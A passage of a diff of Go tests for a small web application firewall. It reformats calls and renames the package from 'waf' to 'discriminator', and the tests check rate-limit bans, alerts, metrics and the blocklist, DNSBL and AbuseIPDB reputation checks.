"want none", i+1, line.LimitHit, line.Offence)
|
||||||
"want none",
|
|
||||||
i+1,
|
|
||||||
line.LimitHit,
|
|
||||||
line.Offence,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
@@ -114,12 +109,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
|||||||
line := tc.refusals[3].send(s, client)
|
line := tc.refusals[3].send(s, client)
|
||||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
||||||
line.Offence != requestlog.OffenceLimit {
|
line.Offence != requestlog.OffenceLimit {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals "+
|
||||||
"log line has limit_hit %q and offence %q, want minute_refusals "+
|
"and limit", line.LimitHit, line.Offence)
|
||||||
"and limit",
|
|
||||||
line.LimitHit,
|
|
||||||
line.Offence,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(client, http.StatusForbidden, tc.nextAction)
|
s.get(client, http.StatusForbidden, tc.nextAction)
|
||||||
@@ -158,10 +149,7 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
|||||||
|
|
||||||
expires := start.Add(time.Hour)
|
expires := start.Add(time.Hour)
|
||||||
if line.BanExpires != requestlog.FormatTime(expires) {
|
if line.BanExpires != requestlog.FormatTime(expires) {
|
||||||
t.Errorf(
|
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
|
||||||
"log line has ban_expires %q, want an hour on",
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
netblock := netip.MustParsePrefix(client + "/32")
|
netblock := netip.MustParsePrefix(client + "/32")
|
||||||
@@ -195,30 +183,16 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
|||||||
|
|
||||||
wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3}
|
wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3}
|
||||||
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
|
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
|
||||||
t.Errorf(
|
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
|
||||||
"history counts the offences %+v, want %+v",
|
|
||||||
offences,
|
|
||||||
wantOffences,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
metrics := s.scrape()
|
metrics := s.scrape()
|
||||||
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
||||||
`kind="refusals",window="minute"}`, 1)
|
`kind="refusals",window="minute"}`, 1)
|
||||||
wantMetric(
|
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_offences_total{instance="app",kind="limit"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(t, metrics,
|
wantMetric(t, metrics,
|
||||||
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3)
|
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3)
|
||||||
wantMetric(
|
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_bans_made_total{cause="limit",instance="app"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||||
@@ -243,12 +217,8 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
|||||||
blockRule.send(s, fromDE)
|
blockRule.send(s, fromDE)
|
||||||
|
|
||||||
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
|
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
|
||||||
if len(got) != 1 || got[0].Notes.Limit != 2 ||
|
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
|
||||||
got[0].Notes.LimitPercent != nil {
|
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
|
||||||
t.Errorf(
|
|
||||||
"bans %+v, want one for the limit of 2, without a limit percentage",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -260,16 +230,9 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
|||||||
"/private": http.StatusUnauthorized,
|
"/private": http.StatusUnauthorized,
|
||||||
"/forbidden": http.StatusForbidden,
|
"/forbidden": http.StatusForbidden,
|
||||||
}
|
}
|
||||||
s, _, _, queue := startAppWithAlerts(
|
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
|
||||||
t,
|
w.WriteHeader(statuses[r.URL.Path])
|
||||||
func(w http.ResponseWriter, r *http.Request) {
|
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
|
||||||
w.WriteHeader(statuses[r.URL.Path])
|
|
||||||
},
|
|
||||||
map[string]string{
|
|
||||||
errorBurstThreshold: "1",
|
|
||||||
rulesDir: writeRules(t, testRules),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
for range 2 {
|
for range 2 {
|
||||||
for path, status := range statuses {
|
for path, status := range statuses {
|
||||||
@@ -284,12 +247,7 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// No ban was made, nor its alert raised.
|
// No ban was made, nor its alert raised.
|
||||||
s.request(
|
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/missing",
|
|
||||||
http.StatusNotFound,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantAlerts(t, queue)
|
wantAlerts(t, queue)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -321,11 +279,8 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
|||||||
|
|
||||||
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
|
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
|
||||||
if broken != tc.broken {
|
if broken != tc.broken {
|
||||||
t.Errorf(
|
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
|
||||||
"the 31st refusal broke the error burst: %t, want %t",
|
broken, tc.broken)
|
||||||
broken,
|
|
||||||
tc.broken,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -345,12 +300,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
|||||||
|
|
||||||
// A client in SWW_ALLOW_NETS is not refused, and so not counted.
|
// A client in SWW_ALLOW_NETS is not refused, and so not counted.
|
||||||
for range 3 {
|
for range 3 {
|
||||||
s.request(
|
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
|
||||||
allowed,
|
|
||||||
blockedPath,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// One the rate limits do not apply to is.
|
// One the rate limits do not apply to is.
|
||||||
@@ -358,10 +308,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
|||||||
|
|
||||||
line := blockRule.send(s, exempt)
|
line := blockRule.send(s, exempt)
|
||||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals {
|
if line.LimitHit != requestlog.LimitHitMinuteRefusals {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, want minute_refusals", line.LimitHit)
|
||||||
"log line has limit_hit %q, want minute_refusals",
|
|
||||||
line.LimitHit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
@@ -370,11 +317,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
|||||||
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, _ := startForErrorBurst(
|
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
|
||||||
t,
|
|
||||||
"1",
|
|
||||||
map[string]string{limitBanDuration: "1s"},
|
|
||||||
)
|
|
||||||
|
|
||||||
blockRule.send(s, client)
|
blockRule.send(s, client)
|
||||||
blockRule.send(s, client)
|
blockRule.send(s, client)
|
||||||
@@ -422,26 +365,15 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
|
|||||||
// is the second of the client's, and would have banned it.
|
// is the second of the client's, and would have banned it.
|
||||||
s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
|
s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
blockedPath,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
|
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
|
||||||
|
|
||||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.BanExpires != "" {
|
||||||
line.BanExpires != "" {
|
t.Errorf("log line has limit_hit %q and ban_expires %q, want minute_refusals "+
|
||||||
t.Errorf(
|
"and none", line.LimitHit, line.BanExpires)
|
||||||
"log line has limit_hit %q and ban_expires %q, want minute_refusals "+
|
|
||||||
"and none",
|
|
||||||
line.LimitHit,
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := server.Ledger.Snapshot(); len(got) != 1 ||
|
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
|
||||||
!reflect.DeepEqual(got[0], held) {
|
|
||||||
t.Errorf("bans %+v, want only the one held", got)
|
t.Errorf("bans %+v, want only the one held", got)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -453,16 +385,12 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
|
|||||||
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
|
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
|
||||||
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
|
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
|
||||||
notes.Request.Status != http.StatusForbidden {
|
notes.Request.Status != http.StatusForbidden {
|
||||||
t.Errorf(
|
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
|
||||||
"the alert's notes are %+v, want two refusals, the last answered 403",
|
notes)
|
||||||
notes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
|
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
||||||
client + "/32",
|
|
||||||
), Cause: bans.CauseLimit,
|
|
||||||
Reason: "refusals per minute over the limit of 1", Notes: notes,
|
Reason: "refusals per minute over the limit of 1", Notes: notes,
|
||||||
}, requestlog.FormatTime(start.Add(time.Hour)))
|
}, requestlog.FormatTime(start.Add(time.Hour)))
|
||||||
alert.Detail["mode"] = observe
|
alert.Detail["mode"] = observe
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and
|
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and
|
||||||
// abuseipdb.
|
// abuseipdb.
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
@@ -15,10 +15,10 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// The reputation settings.
|
// The reputation settings.
|
||||||
@@ -39,16 +39,14 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// The lists these tests name, which are never fetched: each test puts in
|
// The lists these tests name, which are never fetched: each test puts in
|
||||||
// the copies it needs, as lists.json would at start.
|
// the copies it needs, as reputation.json would at start.
|
||||||
const (
|
const (
|
||||||
dropURL = "https://lists.example/drop.txt"
|
dropURL = "https://lists.example/drop.txt"
|
||||||
torURL = "https://lists.example/tor.txt"
|
torURL = "https://lists.example/tor.txt"
|
||||||
asnURL = "https://lists.example/asn.txt"
|
asnURL = "https://lists.example/asn.txt"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestEachBlocklistActionForAListedAddressAndAListedNetblock(
|
func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
||||||
@@ -92,23 +90,14 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(
|
|||||||
for i := range 3 {
|
for i := range 3 {
|
||||||
line := s.get(from, tc.statuses[i], tc.actions[i])
|
line := s.get(from, tc.statuses[i], tc.actions[i])
|
||||||
wantReputation(t, line, dropURL)
|
wantReputation(t, line, dropURL)
|
||||||
wantPercent(
|
wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
|
||||||
t,
|
line.RateLimitPercentSetting, tc.percent)
|
||||||
"rate_limit_percent",
|
|
||||||
line.RateLimitPercent,
|
|
||||||
line.RateLimitPercentSetting,
|
|
||||||
tc.percent,
|
|
||||||
)
|
|
||||||
|
|
||||||
// A request refused for the list is not counted.
|
// A request refused for the list is not counted.
|
||||||
counted := line.fields["counts"] != nil
|
counted := line.fields["counts"] != nil
|
||||||
if counted != (tc.actions[i] != denied) {
|
if counted != (tc.actions[i] != denied) {
|
||||||
t.Errorf(
|
t.Errorf("request from %s counted %t, logged %s", from, counted,
|
||||||
"request from %s counted %t, logged %s",
|
tc.actions[i])
|
||||||
from,
|
|
||||||
counted,
|
|
||||||
tc.actions[i],
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -123,29 +112,26 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A refusal for the list makes no ban.
|
// A refusal for the list makes no ban.
|
||||||
if held := server.Ledger.Snapshot(); tc.action == actionDeny &&
|
if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
|
||||||
len(held) != 0 {
|
|
||||||
t.Errorf("bans %+v, want none", held)
|
t.Errorf("bans %+v, want none", held)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
|
func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
heuristic string
|
heuristic string
|
||||||
env map[string]string
|
env map[string]string
|
||||||
load func(*testing.T, *waf.Server)
|
load func(*testing.T, *discriminator.Server)
|
||||||
figures string
|
figures string
|
||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
"blocklists",
|
"blocklists",
|
||||||
map[string]string{blocklistURLs: dropURL, blocklistAction: actionDeny},
|
map[string]string{blocklistURLs: dropURL, blocklistAction: actionDeny},
|
||||||
func(t *testing.T, server *waf.Server) {
|
func(t *testing.T, server *discriminator.Server) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
loadLists(t, server, map[string][]string{dropURL: {client}})
|
loadLists(t, server, map[string][]string{dropURL: {client}})
|
||||||
},
|
},
|
||||||
@@ -157,7 +143,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
|
|||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||||
reputationAction: actionDeny,
|
reputationAction: actionDeny,
|
||||||
},
|
},
|
||||||
func(_ *testing.T, server *waf.Server) {
|
func(_ *testing.T, server *discriminator.Server) {
|
||||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
||||||
},
|
},
|
||||||
`{"zones": ["` + dnsblZone + `"]}`,
|
`{"zones": ["` + dnsblZone + `"]}`,
|
||||||
@@ -165,7 +151,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
|
|||||||
{
|
{
|
||||||
"abuseipdb",
|
"abuseipdb",
|
||||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
||||||
func(_ *testing.T, server *waf.Server) {
|
func(_ *testing.T, server *discriminator.Server) {
|
||||||
loadScores(server, map[string]int64{client: 80})
|
loadScores(server, map[string]int64{client: 80})
|
||||||
},
|
},
|
||||||
`{"score": 80, "min_score": 75}`,
|
`{"score": 80, "min_score": 75}`,
|
||||||
@@ -177,11 +163,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
|
|||||||
s, server, _ := startWithLookups(t, tc.env)
|
s, server, _ := startWithLookups(t, tc.env)
|
||||||
tc.load(t, server)
|
tc.load(t, server)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientDenied,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, tc.heuristic, tc.figures)
|
wantHeuristic(t, line, tc.heuristic, tc.figures)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -198,17 +180,12 @@ func TestBlocklistsComeAfterAllowedCountriesAndSkipAllowNets(t *testing.T) {
|
|||||||
// fromKP's country refuses it before the list is looked at, and fromDE,
|
// fromKP's country refuses it before the list is looked at, and fromDE,
|
||||||
// in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor
|
// in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor
|
||||||
// alerted.
|
// alerted.
|
||||||
wantReputation(
|
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied))
|
||||||
t,
|
|
||||||
s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
|
|
||||||
)
|
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
|
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
|
||||||
wantAlerts(t, queue)
|
wantAlerts(t, queue)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(
|
func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, server, queue := startWithLookups(t, map[string]string{
|
s, server, queue := startWithLookups(t, map[string]string{
|
||||||
@@ -226,9 +203,7 @@ func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -263,19 +238,13 @@ func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
|||||||
tc.want)
|
tc.want)
|
||||||
|
|
||||||
if line.LimitHit != tc.limitHit {
|
if line.LimitHit != tc.limitHit {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
|
||||||
"log line has limit_hit %q, want %q",
|
|
||||||
line.LimitHit,
|
|
||||||
tc.limitHit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(
|
func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -319,11 +288,7 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(
|
|||||||
maps.Copy(env, tc.env)
|
maps.Copy(env, tc.env)
|
||||||
|
|
||||||
s, server, _ := startWithLookups(t, env)
|
s, server, _ := startWithLookups(t, env)
|
||||||
loadLists(
|
loadLists(t, server, map[string][]string{asnURL: {"# by AS number", tc.file}})
|
||||||
t,
|
|
||||||
server,
|
|
||||||
map[string][]string{asnURL: {"# by AS number", tc.file}},
|
|
||||||
)
|
|
||||||
|
|
||||||
line := s.uploadFrom(fromDE)
|
line := s.uploadFrom(fromDE)
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent",
|
||||||
@@ -348,21 +313,13 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
blocklistAction: actionLog,
|
blocklistAction: actionLog,
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
})
|
})
|
||||||
loadLists(
|
loadLists(t, server, map[string][]string{dropURL: {fromDE}, torURL: {fromDE}})
|
||||||
t,
|
|
||||||
server,
|
|
||||||
map[string][]string{dropURL: {fromDE}, torURL: {fromDE}},
|
|
||||||
)
|
|
||||||
|
|
||||||
// The second request's alerts are repeats, which the cooldown holds
|
// The second request's alerts are repeats, which the cooldown holds
|
||||||
// back.
|
// back.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
wantReputation(
|
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||||
t,
|
dropURL, torURL)
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
|
||||||
dropURL,
|
|
||||||
torURL,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
hit := func(source string) alerts.Alert {
|
hit := func(source string) alerts.Alert {
|
||||||
@@ -383,10 +340,7 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
wantAlerts(t, queue, hit(dropURL), hit(torURL))
|
wantAlerts(t, queue, hit(dropURL), hit(torURL))
|
||||||
|
|
||||||
if queue.Suppressed() != 2 {
|
if queue.Suppressed() != 2 {
|
||||||
t.Errorf(
|
t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed())
|
||||||
"%d alerts held back, want the second request's 2",
|
|
||||||
queue.Suppressed(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Each list's hits, none of its fetches failed, and when its copy was
|
// Each list's hits, none of its fetches failed, and when its copy was
|
||||||
@@ -406,12 +360,8 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
}
|
}
|
||||||
|
|
||||||
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
|
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
|
||||||
wantMetric(
|
wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
|
||||||
t,
|
want.fetched)
|
||||||
metrics,
|
|
||||||
"sww_reputation_last_fetch_timestamp_seconds"+labels,
|
|
||||||
want.fetched,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -424,7 +374,7 @@ const (
|
|||||||
|
|
||||||
// The DNSBL zones these tests name, which are never asked about the
|
// The DNSBL zones these tests name, which are never asked about the
|
||||||
// clients the tests send requests from: each test puts in the verdicts it
|
// clients the tests send requests from: each test puts in the verdicts it
|
||||||
// needs, as dnsbl.json would at start. A query a test does start is
|
// needs, as reputation.json would at start. A query a test does start is
|
||||||
// sent to noResolver, where nothing listens, so that none leaves the host.
|
// sent to noResolver, where nothing listens, so that none leaves the host.
|
||||||
const (
|
const (
|
||||||
dnsblZone = "dnsbl.example"
|
dnsblZone = "dnsbl.example"
|
||||||
@@ -468,8 +418,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
|||||||
dnsblResolver: noResolver, reputationAction: tc.action,
|
dnsblResolver: noResolver, reputationAction: tc.action,
|
||||||
})
|
})
|
||||||
listedBy := map[string][]string{
|
listedBy := map[string][]string{
|
||||||
fromDE: {dnsblZone, otherZone}, fromKP: {otherZone},
|
fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, unplaced: nil,
|
||||||
unplaced: nil,
|
|
||||||
}
|
}
|
||||||
loadVerdicts(server, listedBy)
|
loadVerdicts(server, listedBy)
|
||||||
|
|
||||||
@@ -478,19 +427,14 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
|||||||
line := s.get(from, tc.statuses[i], tc.actions[i])
|
line := s.get(from, tc.statuses[i], tc.actions[i])
|
||||||
// In the order SWW_DNSBL_ZONES names them.
|
// In the order SWW_DNSBL_ZONES names them.
|
||||||
wantReputation(t, line, listedBy[from]...)
|
wantReputation(t, line, listedBy[from]...)
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
|
||||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
line.RateLimitPercentSetting, tc.percent)
|
||||||
tc.percent)
|
|
||||||
|
|
||||||
// A request refused for the verdict is not counted.
|
// A request refused for the verdict is not counted.
|
||||||
counted := line.fields["counts"] != nil
|
counted := line.fields["counts"] != nil
|
||||||
if counted != (tc.actions[i] != denied) {
|
if counted != (tc.actions[i] != denied) {
|
||||||
t.Errorf(
|
t.Errorf("request from %s counted %t, logged %s", from, counted,
|
||||||
"request from %s counted %t, logged %s",
|
tc.actions[i])
|
||||||
from,
|
|
||||||
counted,
|
|
||||||
tc.actions[i],
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -506,8 +450,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
|||||||
|
|
||||||
// A refusal for the verdict makes no ban, and every client had its
|
// A refusal for the verdict makes no ban, and every client had its
|
||||||
// verdicts, so no zone was asked.
|
// verdicts, so no zone was asked.
|
||||||
if held := server.Ledger.Snapshot(); tc.action == actionDeny &&
|
if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
|
||||||
len(held) != 0 {
|
|
||||||
t.Errorf("bans %+v, want none", held)
|
t.Errorf("bans %+v, want none", held)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -526,27 +469,18 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
|
|||||||
reputationAction: actionDeny, allowNets: fromDE,
|
reputationAction: actionDeny, allowNets: fromDE,
|
||||||
})
|
})
|
||||||
loadLists(t, server, map[string][]string{dropURL: {fromKP}})
|
loadLists(t, server, map[string][]string{dropURL: {fromKP}})
|
||||||
loadVerdicts(
|
loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}})
|
||||||
server,
|
|
||||||
map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}},
|
|
||||||
)
|
|
||||||
|
|
||||||
// The blocklist refuses fromKP before its verdict is looked at, and
|
// The blocklist refuses fromKP before its verdict is looked at, and
|
||||||
// fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted
|
// fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted
|
||||||
// for the zone, nor alerted, nor asked about.
|
